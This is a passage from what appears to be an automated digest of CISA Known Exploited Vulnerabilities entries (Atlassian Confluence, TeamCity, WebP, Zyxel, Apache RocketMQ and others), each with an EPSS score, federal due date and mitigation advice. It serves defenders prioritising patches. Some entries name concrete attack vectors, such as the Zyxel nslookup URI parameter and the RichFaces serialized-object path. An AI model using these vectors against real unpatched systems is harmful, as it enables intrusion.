Control Vulnerability (Oct 5, 2023). Atlassian Confluence Data Center and Server contains a broken access control vulnerability that allows an attacker to create unauthorized Confluence administrator accounts and access Confluence. EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-22515&date=2026-10-25). Sources: CISA KEV entry CVE-2023-22515: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-22515&date=2026-10-25 CISA added this entry on 2023-10-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Check all affected Confluence instances for evidence of compromise per vendor instructions and report any positive findings to CISA. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 5, 2023; federal due date Oct 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Progress WS_FTP Server Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2023-40044 Progress WS_FTP Server Deserialization of Untrusted Data Vulnerability (Oct 5, 2023). Progress WS_FTP Server contains a deserialization of untrusted data vulnerability in the Ad Hoc Transfer module that allows an authenticated attacker to execute remote commands on the underlying operating system. EPSS 90.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-40044&date=2026-10-25). Sources: CISA KEV entry CVE-2023-40044: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-40044&date=2026-10-25 CISA added this entry on 2023-10-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 5, 2023; federal due date Oct 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS and iPadOS Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-42824 Apple iOS and iPadOS Kernel Privilege Escalation Vulnerability (Oct 5, 2023). Apple iOS and iPadOS contain an unspecified vulnerability that allows for local privilege escalation. EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-42824&date=2026-10-25). Sources: CISA KEV entry CVE-2023-42824: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-42824&date=2026-10-25 CISA added this entry on 2023-10-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 5, 2023; federal due date Oct 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### JetBrains TeamCity Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2023-42793 JetBrains TeamCity Authentication Bypass Vulnerability (Oct 4, 2023). JetBrains TeamCity contains an authentication bypass vulnerability that allows for remote code execution on TeamCity Server. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-42793&date=2026-10-25). Sources: CISA KEV entry CVE-2023-42793: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-42793&date=2026-10-25 CISA added this entry on 2023-10-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 4, 2023; federal due date Oct 25, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows CNG Key Isolation Service Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-28229 Microsoft Windows CNG Key Isolation Service Privilege Escalation Vulnerability (Oct 4, 2023). Microsoft Windows Cryptographic Next Generation (CNG) Key Isolation Service contains an unspecified vulnerability that allows an attacker to gain specific limited SYSTEM privileges. EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28229&date=2026-10-25). Sources: CISA KEV entry CVE-2023-28229: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28229&date=2026-10-25 CISA added this entry on 2023-10-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 4, 2023; federal due date Oct 25, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Arm Mali GPU Kernel Driver Use-After-Free Vulnerability https://kevwire.com/record/CVE-2023-4211 Arm Mali GPU Kernel Driver Use-After-Free Vulnerability (Oct 3, 2023). Arm Mali GPU Kernel Driver contains a use-after-free vulnerability that allows a local, non-privileged user to make improper GPU memory processing operations to gain access to already freed memory. EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-4211&date=2026-10-25). Sources: CISA KEV entry CVE-2023-4211: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-4211&date=2026-10-25 CISA added this entry on 2023-10-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 3, 2023; federal due date Oct 24, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium libvpx Heap Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2023-5217 Google Chromium libvpx Heap Buffer Overflow Vulnerability (Oct 2, 2023). Google Chromium libvpx contains a heap buffer overflow vulnerability in vp8 encoding that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could impact web browsers using libvpx, including but not limited to Google Chrome. EPSS 49.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-5217&date=2026-10-25). Sources: CISA KEV entry CVE-2023-5217: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-5217&date=2026-10-25 CISA added this entry on 2023-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 2, 2023; federal due date Oct 23, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Red Hat JBoss RichFaces Framework Expression Language Injection Vulnerability https://kevwire.com/record/CVE-2018-14667 Red Hat JBoss RichFaces Framework Expression Language Injection Vulnerability (Sep 28, 2023). Red Hat JBoss RichFaces Framework contains an expression language injection vulnerability via the UserResource resource. A remote, unauthenticated attacker could exploit this vulnerability to execute malicious code using a chain of Java serialized objects via org.ajax4jsf.resource.UserResource$UriData. EPSS 74.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-14667&date=2026-10-25). Sources: CISA KEV entry CVE-2018-14667: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-14667&date=2026-10-25 CISA added this entry on 2023-09-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 28, 2023; federal due date Oct 19, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Improper Certificate Validation Vulnerability https://kevwire.com/record/CVE-2023-41991 Apple Multiple Products Improper Certificate Validation Vulnerability (Sep 25, 2023). Apple iOS, iPadOS, macOS, and watchOS contain an improper certificate validation vulnerability that can allow a malicious app to bypass signature validation. EPSS 13.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41991&date=2026-10-25). Sources: CISA KEV entry CVE-2023-41991: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41991&date=2026-10-25 CISA added this entry on 2023-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 25, 2023; federal due date Oct 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-41992 Apple Multiple Products Kernel Privilege Escalation Vulnerability (Sep 25, 2023). Apple iOS, iPadOS, macOS, and watchOS contain an unspecified vulnerability that allows for local privilege escalation. EPSS 9.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41992&date=2026-10-25). Sources: CISA KEV entry CVE-2023-41992: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41992&date=2026-10-25 CISA added this entry on 2023-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 25, 2023; federal due date Oct 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products WebKit Code Execution Vulnerability https://kevwire.com/record/CVE-2023-41993 Apple Multiple Products WebKit Code Execution Vulnerability (Sep 25, 2023). Apple iOS, iPadOS, macOS, and Safari WebKit contain an unspecified vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing. EPSS 24.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41993&date=2026-10-25). Sources: CISA KEV entry CVE-2023-41993: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41993&date=2026-10-25 CISA added this entry on 2023-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 25, 2023; federal due date Oct 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Trend Micro Apex One and Worry-Free Business Security Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2023-41179 Trend Micro Apex One and Worry-Free Business Security Remote Code Execution Vulnerability (Sep 21, 2023). Trend Micro Apex One and Worry-Free Business Security contain an unspecified vulnerability in the third-party anti-virus uninstaller that could allow an attacker to manipulate the module to conduct remote code execution. An attacker must first obtain administrative console access on the target system in order to exploit this vulnerability. EPSS 4.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41179&date=2026-10-25). Sources: CISA KEV entry CVE-2023-41179: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41179&date=2026-10-25 CISA added this entry on 2023-09-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 21, 2023; federal due date Oct 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### MinIO Security Feature Bypass Vulnerability https://kevwire.com/record/CVE-2023-28434 MinIO Security Feature Bypass Vulnerability (Sep 19, 2023). MinIO contains a security feature bypass vulnerability that allows an attacker to use crafted requests to bypass metadata bucket name checking and put an object into any bucket while processing `PostPolicyBucket` to conduct privilege escalation. To carry out this attack, the attacker requires credentials with `arn:aws:s3:::*` permission, as well as enabled Console API access. EPSS 7.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28434&date=2026-10-25). Sources: CISA KEV entry CVE-2023-28434: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28434&date=2026-10-25 CISA added this entry on 2023-09-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 19, 2023; federal due date Oct 10, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Use-After-Free Vulnerability https://kevwire.com/record/CVE-2022-22265 Samsung Mobile Devices Use-After-Free Vulnerability (Sep 18, 2023). Samsung devices with selected Exynos chipsets contain a use-after-free vulnerability that allows malicious memory write and code execution. EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22265&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22265: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22265&date=2026-10-25 CISA added this entry on 2023-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 18, 2023; federal due date Oct 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Realtek SDK Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2014-8361 Realtek SDK Improper Input Validation Vulnerability (Sep 18, 2023). Realtek SDK contains an improper input validation vulnerability in the miniigd SOAP service that allows remote attackers to execute malicious code via a crafted NewInternalClient request. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-8361&date=2026-10-25). Sources: CISA KEV entry CVE-2014-8361: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-8361&date=2026-10-25 CISA added this entry on 2023-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 18, 2023; federal due date Oct 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zyxel EMG2926 Routers Command Injection Vulnerability https://kevwire.com/record/CVE-2017-6884 Zyxel EMG2926 Routers Command Injection Vulnerability (Sep 18, 2023). Zyxel EMG2926 routers contain a command injection vulnerability located in the diagnostic tools, specifically the nslookup function. A malicious user may exploit numerous vectors to execute malicious commands on the router, such as the ping_ip parameter to the expert/maintenance/diagnostic/nslookup URI. EPSS 33.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6884&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6884: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6884&date=2026-10-25 CISA added this entry on 2023-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 18, 2023; federal due date Oct 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Laravel Ignition File Upload Vulnerability https://kevwire.com/record/CVE-2021-3129 Laravel Ignition File Upload Vulnerability (Sep 18, 2023). Laravel Ignition contains a file upload vulnerability that allows unauthenticated remote attackers to execute malicious code due to insecure usage of file_get_contents() and file_put_contents(). EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-3129&date=2026-10-25). Sources: CISA KEV entry CVE-2021-3129: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-3129&date=2026-10-25 CISA added this entry on 2023-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 18, 2023; federal due date Oct 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Acrobat and Reader Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2023-26369 Adobe Acrobat and Reader Out-of-Bounds Write Vulnerability (Sep 14, 2023). Adobe Acrobat and Reader contains an out-of-bounds write vulnerability that allows for code execution. EPSS 6.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-26369&date=2026-10-25). Sources: CISA KEV entry CVE-2023-26369: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-26369&date=2026-10-25 CISA added this entry on 2023-09-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 14, 2023; federal due date Oct 5, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Framework Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-35674 Android Framework Privilege Escalation Vulnerability (Sep 13, 2023). Android Framework contains an unspecified vulnerability that allows for privilege escalation. EPSS 2.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-35674&date=2026-10-25). Sources: CISA KEV entry CVE-2023-35674: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-35674&date=2026-10-25 CISA added this entry on 2023-09-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 13, 2023; federal due date Oct 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Adaptive Security Appliance and Firepower Threat Defense Unauthorized Access Vulnerability https://kevwire.com/record/CVE-2023-20269 Cisco Adaptive Security Appliance and Firepower Threat Defense Unauthorized Access Vulnerability (Sep 13, 2023). Cisco Adaptive Security Appliance and Firepower Threat Defense contain an unauthorized access vulnerability that could allow an unauthenticated, remote attacker to conduct a brute force attack in an attempt to identify valid username and password combinations or establish a clientless SSL VPN session with an unauthorized user. EPSS 26.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20269&date=2026-10-25). Sources: CISA KEV entry CVE-2023-20269: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20269&date=2026-10-25 CISA added this entry on 2023-09-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions for group-lock and vpn-simultaneous-logins or discontinue use of the product for unsupported devices. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 13, 2023; federal due date Oct 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium WebP Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2023-4863 Google Chromium WebP Heap-Based Buffer Overflow Vulnerability (Sep 13, 2023). Google Chromium WebP contains a heap-based buffer overflow vulnerability that allows a remote attacker to perform an out-of-bounds memory write via a crafted HTML page. This vulnerability can affect applications that use the WebP Codec. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-4863&date=2026-10-25). Sources: CISA KEV entry CVE-2023-4863: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-4863&date=2026-10-25 CISA added this entry on 2023-09-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 13, 2023; federal due date Oct 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Word Information Disclosure Vulnerability https://kevwire.com/record/CVE-2023-36761 Microsoft Word Information Disclosure Vulnerability (Sep 12, 2023). Microsoft Word contains an unspecified vulnerability that allows for information disclosure. EPSS 19.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36761&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36761: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36761&date=2026-10-25 CISA added this entry on 2023-09-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 12, 2023; federal due date Oct 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Streaming Service Proxy Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2023-36802 Microsoft Streaming Service Proxy Privilege Escalation Vulnerability (Sep 12, 2023). Microsoft Streaming Service Proxy contains an unspecified vulnerability that allows for privilege escalation. EPSS 27.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36802&date=2026-10-25). Sources: CISA KEV entry CVE-2023-36802: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36802&date=2026-10-25 CISA added this entry on 2023-09-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 12, 2023; federal due date Oct 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS, iPadOS, and macOS ImageIO Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2023-41064 Apple iOS, iPadOS, and macOS ImageIO Buffer Overflow Vulnerability (Sep 11, 2023). Apple iOS, iPadOS, and macOS contain a buffer overflow vulnerability in ImageIO when processing a maliciously crafted image, which may lead to code execution. This vulnerability was chained with CVE-2023-41061. EPSS 53.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41064&date=2026-10-25). Sources: CISA KEV entry CVE-2023-41064: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41064&date=2026-10-25 CISA added this entry on 2023-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 11, 2023; federal due date Oct 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS, iPadOS, and watchOS Wallet Code Execution Vulnerability https://kevwire.com/record/CVE-2023-41061 Apple iOS, iPadOS, and watchOS Wallet Code Execution Vulnerability (Sep 11, 2023). Apple iOS, iPadOS, and watchOS contain an unspecified vulnerability due to a validation issue affecting Wallet in which a maliciously crafted attachment may result in code execution. This vulnerability was chained with CVE-2023-41064. EPSS 4.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41061&date=2026-10-25). Sources: CISA KEV entry CVE-2023-41061: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41061&date=2026-10-25 CISA added this entry on 2023-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 11, 2023; federal due date Oct 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache RocketMQ Command Execution Vulnerability https://kevwire.com/record/CVE-2023-33246 Apache RocketMQ Command Execution Vulnerability (Sep 6, 2023). Several components of Apache RocketMQ, including NameServer, Broker, and Controller, are exposed to the extranet and lack permission verification. An attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as or achieve the same effect by forging the RocketMQ protocol content. EPSS 96.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33246&date=2026-10-25). Sources: CISA KEV entry CVE-2023-33246: 